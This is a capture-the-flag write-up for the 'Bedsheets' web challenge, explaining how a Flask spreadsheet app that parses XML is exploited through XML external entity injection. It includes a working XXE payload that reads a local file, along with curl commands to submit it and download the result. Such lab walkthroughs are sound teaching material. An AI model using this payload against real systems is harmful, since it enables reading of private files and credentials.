This is a writeup for the Fetch The Flag 2023 Bedsheets challenge.
Challenge notes
Buying new bed sheets is always a hassle, so I made a new website to make it easier.
Hint: Flag is at /home/challenge/flag.txt
Psst… Snyk can help solve this challenge! Try it out!
Press the Start button in the top-right to begin this challenge.
Connect with:
http://challenge.ctf.games:30814
Web app
The Python module at src/app.py contains a Flask web app. The
app has the following endpoints:
- Index at
/ - Error page at
/error - Create
.xlsxspreadsheet files at/createSheets. - List created spreadsheet files at
/finishedSheets. - Download individual spreadsheet files at
/finsihedSheets/<sheetname>.
The web app uses the xml2xlsx Python package to convert XML documents to
.xlsx spreadsheets.
The goal is to use this web app to steal the flag at /home/challenge/flag.txt.
Vulnerability
The way the app converts XML to XLSX is vulnerable to XML external entity inclusion. 1. In the frontend, you can submit an XML body that the app creates according to this template in JavaScript:
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>${bedSize}</cell></row>
<row><cell>Color</cell><cell>${color}</cell></row>
<row><cell>Thread Count</cell><cell>${threadCount}</cell></row>
<row><cell>Quantity</cell><cell>${quantity}</cell></row>
</sheet>
You’re not limited to sending data according to this specific template.
Exploit code
Here’s how to ask the web app to include the contents of flag.txt in the
XML document:
echo '<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/challenge/flag.txt"> ]>
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>&xxe;</cell></row>
<row><cell>Color</cell><cell>#ffffff</cell></row>
<row><cell>Thread Count</cell><cell>400</cell></row>
<row><cell>Quantity</cell><cell>1</cell></row>
</sheet>' |
curl 'http://challenge.ctf.games:31249/createSheets' \
-X POST \
-H 'Content-Type: application/xml' \
--data-binary @-
Internally, src/app.py concatenates this to the following XML document:
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/challenge/flag.txt"> ]>
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>&xxe;</cell></row>
<row><cell>Color</cell><cell>#ffffff</cell></row>
<row><cell>Thread Count</cell><cell>400</cell></row>
<row><cell>Quantity</cell><cell>1</cell></row>
</sheet>
This in turn evaluates to an XML document and resulting spreadsheet that includes
the contents of the flag.txt file in the first row under Bed Size. If it works
correctly, you should see the following output:
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/finishedSheets">/finishedSheets</a>. If not, click the link.
Fetch the sheet that you’ve just created. The first row contains the flag. Here’s how you can fetch the spreadsheet using curl:
curl http://challenge.ctf.games:31249/finishedSheets/
# Find your spreadsheet's name and download it:
curl http://challenge.ctf.games:31249/finishedSheets/XXXXXXXXXXXXXXXXXXX.xlsx
-
https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files “Portswigger guide on XXE” ↩︎